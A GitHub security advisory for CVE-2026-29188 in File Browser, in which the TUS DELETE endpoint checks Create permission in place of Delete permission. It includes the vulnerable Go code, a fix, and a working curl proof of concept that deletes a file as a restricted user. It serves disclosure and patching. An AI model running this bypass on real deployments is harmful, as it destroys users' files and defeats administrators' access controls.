GHSA-79PF-VX4X-7JMM
Vulnerability from github – Published: 2026-03-04 22:38 – Updated: 2026-03-05 22:50
VLAI?
Summary
File Browser's TUS Delete Endpoint Bypasses Delete Permission Check
Details
Summary
A broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.
Details
The tusDeleteHandler function in http/tus_handlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:
// http/tus_handlers.go - tusDeleteHandler (VULNERABLE)
func tusDeleteHandler(cache UploadCache) handleFunc {
return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
if r.URL.Path == "/" || !d.user.Perm.Create { // ← Wrong permission checked
return http.StatusForbidden, nil
}
// ...
err = d.user.Fs.RemoveAll(r.URL.Path) // File is deleted
The correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:
// http/resource.go - resourceDeleteHandler (CORRECT)
func resourceDeleteHandler(fileCache FileCache) handleFunc {
return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
if r.URL.Path == "/" || !d.user.Perm.Delete { // ← Correct permission
return http.StatusForbidden, nil
}
This inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tus_handlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.
Proposed fix:
// http/tus_handlers.go
- if r.URL.Path == "/" || !d.user.Perm.Create {
+ if r.URL.Path == "/" || !d.user.Perm.Delete {
PoC
- filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser)
- Tested on: Kali Linux, go version go1.23+
Setup section
# Build and initialize
git clone https://github.com/filebrowser/filebrowser
cd filebrowser
go build -o filebrowser .
./filebrowser config init
# Create a test user with Create=true but Delete=false
./filebrowser users add testuser SuperSecurePassword1234 \
--perm.create=true \
--perm.delete=false
# Start server
./filebrowser &
POC script steps
- Confirm the Delete permission is correctly enforced on the standard endpoint:
TOKEN=$(curl -s -X POST localhost:8080/api/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"SuperSecurePassword1234"}')
# Attempt deletion via the standard resource endpoint → should be blocked
curl -s -X DELETE "localhost:8080/api/resources/target.txt" \
-H "X-Auth: $TOKEN" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 403
- Bypass via the TUS Delete endpoint:
# Initiate a TUS upload to register the file in the upload cache
curl -s -X POST "localhost:8080/api/tus/target.txt" \
-H "X-Auth: $TOKEN" \
-H "Upload-Length: 18" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 201
# Now delete via the TUS endpoint - Perm.Delete is NOT checked
curl -s -X DELETE "localhost:8080/api/tus/target.txt" \
-H "X-Auth: $TOKEN" \
-w "HTTP Status: %{http_code}\n"
# Expected: HTTP Status: 204 ← File deleted despite Perm.Delete=false
Observed results:
DELETE /api/resources/target.txt --> 403 Forbidden ( permission enforced )
DELETE /api/tus/target.txt --> 204 No Content ( permission bypassed )
Impact
This is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where:
- Multiple users share a single instance, and
- An administrator has explicitly set Perm.Delete=false for one or more users to restrict destructive operations
An attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.
Severity ?
9.1 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.61.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.61.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29188"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T22:38:01Z",
"nvd_published_at": "2026-03-05T21:16:23Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.\n\n### Details\n\nThe tusDeleteHandler function in http/tus_handlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:\n\n```go\n// http/tus_handlers.go - tusDeleteHandler (VULNERABLE)\nfunc tusDeleteHandler(cache UploadCache) handleFunc {\n return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n if r.URL.Path == \"/\" || !d.user.Perm.Create { // \u2190 Wrong permission checked\n return http.StatusForbidden, nil\n }\n // ...\n err = d.user.Fs.RemoveAll(r.URL.Path) // File is deleted\n```\n\nThe correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:\n\n```go\n// http/resource.go - resourceDeleteHandler (CORRECT)\nfunc resourceDeleteHandler(fileCache FileCache) handleFunc {\n return withUser(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {\n if r.URL.Path == \"/\" || !d.user.Perm.Delete { // \u2190 Correct permission\n return http.StatusForbidden, nil\n }\n```\n\nThis inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tus_handlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.\n\n### Proposed fix:\n\n```go\n// http/tus_handlers.go\n- if r.URL.Path == \"/\" || !d.user.Perm.Create {\n+ if r.URL.Path == \"/\" || !d.user.Perm.Delete {\n```\n\n### PoC\n\n- filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser) \n- Tested on: Kali Linux, go version go1.23+\n\n### Setup section\n\n```bash\n# Build and initialize\ngit clone https://github.com/filebrowser/filebrowser\ncd filebrowser\ngo build -o filebrowser .\n./filebrowser config init\n\n# Create a test user with Create=true but Delete=false\n./filebrowser users add testuser SuperSecurePassword1234 \\\n --perm.create=true \\\n --perm.delete=false\n\n# Start server\n./filebrowser \u0026\n```\n\n### POC script steps\n\n1. Confirm the Delete permission is correctly enforced on the standard endpoint:\n\n```bash\nTOKEN=$(curl -s -X POST localhost:8080/api/login \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"testuser\",\"password\":\"SuperSecurePassword1234\"}\u0027)\n\n# Attempt deletion via the standard resource endpoint \u2192 should be blocked\ncurl -s -X DELETE \"localhost:8080/api/resources/target.txt\" \\\n -H \"X-Auth: $TOKEN\" \\\n -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 403\n```\n\n2. Bypass via the TUS Delete endpoint:\n\n```bash\n# Initiate a TUS upload to register the file in the upload cache\ncurl -s -X POST \"localhost:8080/api/tus/target.txt\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Upload-Length: 18\" \\\n -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 201\n\n# Now delete via the TUS endpoint - Perm.Delete is NOT checked\ncurl -s -X DELETE \"localhost:8080/api/tus/target.txt\" \\\n -H \"X-Auth: $TOKEN\" \\\n -w \"HTTP Status: %{http_code}\\n\"\n\n# Expected: HTTP Status: 204 \u2190 File deleted despite Perm.Delete=false\n```\n\n**Observed results:**\n```\nDELETE /api/resources/target.txt --\u003e 403 Forbidden ( permission enforced )\nDELETE /api/tus/target.txt --\u003e 204 No Content ( permission bypassed )\n```\n\n### Impact\nThis is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where:\n\n- Multiple users share a single instance, and\n- An administrator has explicitly set Perm.Delete=false for one or more users to restrict destructive operations\n\nAn attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.",
"id": "GHSA-79pf-vx4x-7jmm",
"modified": "2026-03-05T22:50:21Z",
"published": "2026-03-04T22:38:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-79pf-vx4x-7jmm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29188"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/7ed1425115be602c2b23236c410098ea2d74b42f"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.61.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "File Browser\u0027s TUS Delete Endpoint Bypasses Delete Permission Check"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…